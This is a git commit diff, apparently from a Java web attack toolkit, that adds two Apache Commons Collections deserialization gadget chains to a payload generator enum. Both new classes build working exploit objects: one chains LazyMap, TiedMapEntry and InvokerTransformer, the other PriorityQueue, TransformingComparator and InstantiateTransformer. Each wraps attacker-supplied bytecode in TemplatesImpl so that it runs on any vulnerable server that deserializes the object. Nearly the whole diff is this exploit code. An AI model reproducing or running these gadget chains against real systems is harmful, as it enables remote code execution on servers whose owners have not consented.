feat: support CC payload generate
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This commit is contained in:
ReaJason
2025-04-02 08:36:50 +08:00
parent 6a69bbbda4
commit 8658fca29c
16 changed files with 196 additions and 11 deletions
@@ -1,10 +1,7 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
@@ -21,6 +18,12 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
@@ -1,12 +1,13 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
@@ -20,6 +21,7 @@ public class TemplateUtils {
byte[] fooBytes;
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make()) {
fooBytes = make.getBytes();
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import lombok.SneakyThrows;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
*
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections3 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap<>();
expMap.put(tiedMapEntry, "valueTest");
outerMap.remove(templates);
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap;
}
}
@@ -0,0 +1,39 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import lombok.SneakyThrows;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections4 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Reflections.setFieldValue(queue, "size", 2);
Reflections.setFieldValue(queue, "comparator", comparator);
return queue;
}
}